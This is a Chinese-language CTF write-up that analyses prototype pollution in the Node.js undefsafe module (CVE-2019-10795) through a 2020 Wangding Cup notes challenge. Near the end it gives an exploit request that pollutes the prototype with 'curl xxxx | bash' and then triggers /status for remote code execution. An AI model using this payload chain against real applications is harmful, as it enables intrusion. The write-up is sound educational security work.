从一道CTF题看原型链污染攻击 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

从一道CTF题看原型链污染攻击

一叶飘零 技术 2020-07-10 11:35:00
750571
收藏

导语:在2020网鼎杯的题目中,有一道notes题考查原型链污染,同时利用到了CVE-2019-10795,正好借此机会,分析一下原型链污染攻击。

0x00 前言

在2020网鼎杯的题目中,有一道notes题考查原型链污染,同时利用到了CVE-2019-10795,正好借此机会,分析一下原型链污染攻击。

0x01 题目源码

题目给出了源代码,如下:

源码如下:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }
    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }
    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }
    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }
    get_all_notes() {
        return this.note_list;
    }
    remove_note(id) {
        delete this.note_list[id];
    }
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
    res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })
app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })
app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })
app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })
app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })
app.use(function(req, res, next) {
    res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

乍一看,并无明显的突破口,题目给予了几个功能,那么就从其第三方库入手,进行探索。这里undefsafe引起了我的关注。

0x02 undefsafe介绍

undefsafe是Nodejs的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在的报错问题,其具有巨大的用户量:

2020-06-22-17-58-24.png

但其在低版本( < 2.0.3 )存在原型链污染漏洞。

我们简单测试一下该模块的使用:

var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object.a.b.e)
// skysec

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时:

console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

则会得到报错。

在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错( ,那么undefsafe可以帮助我们解决这个问题:

console.log(a(object,'a.b.e'))
// skysec
console.log(object.a.b.e)
// skysec
console.log(a(object,'a.c.e'))
// undefined
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回undefined了。

同时在对对象赋值时,如果目标属性存在:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以看到,其可以帮助我们修改对应属性的值。

如果当属性不存在时,我们想对该属性赋值:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值。

0x03 undefsafe模块漏洞分析

但是该模块在小于2.0.3版本,存在原型链污染漏洞:

我们在2.0.3版本下进行测试:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

但如果在低于2.0.3版本运行,则会得到如下输出:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
//evilstring

我们发现当undefsafe第2,3个参数可控时,我们可以污染object的值(即第一个参数)。

那么这种攻击有什么用呢?我们简单看一个例子:

var a = require("undefsafe");
var test = {}
console.log('this is '+test)
// this is [object Object]
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)
// this is just a evil!

当我们将对象与字符串拼接时,会自动触发toString方法,但由于当前对象test中没有该方法,因此不断向上回溯。当前环境中等同于在test.__proto__中寻找toString方法:

2020-06-22-18-49-34.png

然后将返回:[object Object],并与this is进行拼接。

但是当我们使用undefsafe的时候,可以对原型进行污染,污染前,原型中toString方法为:

2020-06-22-18-53-25.png

污染后:

2020-06-22-18-52-48.png

此时我们进行测试:

2020-06-22-18-53-52.png

我们发现一个空对象和字符串123进行拼接,竟然返回了:

just a evil!123

那么这就是因为原型链污染导致,当我们调用b对象和字符串拼接时,触发其toString方法,但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。

例如操作:

var a = require("undefsafe");
var test = {}
var payload = "__proto__.toString";
a(test,payload,"evilstring");

我们跟进undefsafe函数内,第一次赋值在如下时候:

2020-06-22-19-04-36.png

此时我们传入的test,会变成test.__proto__:

2020-06-22-19-04-54.png

而后会进行递归,至第二次:

2020-06-22-19-06-26.png

此时传入的test的就会变为test.__proto__.toString:

2020-06-22-19-07-03.png

然后进行赋值:

2020-06-22-19-07-37.png

从而达到原型链污染的目的。

该漏洞在2.0.3版本进行修复,我们看到patch内容如下:

2020-06-22-19-13-27.png

在赋值前增加校验:

2020-06-22-19-13-17.png

发现如果操纵原型,则会返还undefined。

0x04 漏洞利用

那么回到题目中,我们注意到其使用了undefsafe模块,那么如果我们可以操纵其第2、3个参数,即可进行原型链污染,则可使目标网站存在风险。故此首先查看undefsafe的调用点:

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }
    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

发现在查看note和编辑note时会调用undefsafe,那我们首先查看get_note方法会被哪个路由调用:

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

此时发现参数q可控,但对于undefsafe的3个参数,我们并不能完整控制第3个参数。

而对于edit_note方法:

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

我们发现edit_note路由中会调用,同时此时id,author和raw均为我们的可控值,那么我们则可以操纵原型链进行污染:

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现/status路由有命令执行的操作:

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

我们进行简单测试:

const undefsafe = require('undefsafe');
var note_list = {}
var id = '__proto__.aaa'
var author = 'skysec hack u!'
undefsafe(note_list, id + '.author', author);
let commands = {
    "script-1": "uptime",
    "script-2": "free -m"
};
for (let index in commands){
    console.log(commands[index])
}

此时输出为:

uptime
free -m
skysec hack u!

那么为什么我们遍历commands的时候,会遍历到原型中我们污染增加的属性呢?

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/for...in

在文档中可以看到:

for...in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)。像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,例如 String 的 indexOf()  方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)。

因此我们可以利用原型链污染的问题,增加一个我们可控的属性,利用status的命令执行功能令其执行。

那么对于exp的构造就非常简单了,首先构造原型链污染:

POST /edit_note
id=__proto__.aaa & author = curl xxxx | bash & raw = skysec;

再访问/status路由,利用污染后的结果进行命令执行,即可获得shell,进行RCE。

0x05 后记

原型链污染的攻击还是非常有意思的,下次可以多分析几个XD.

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务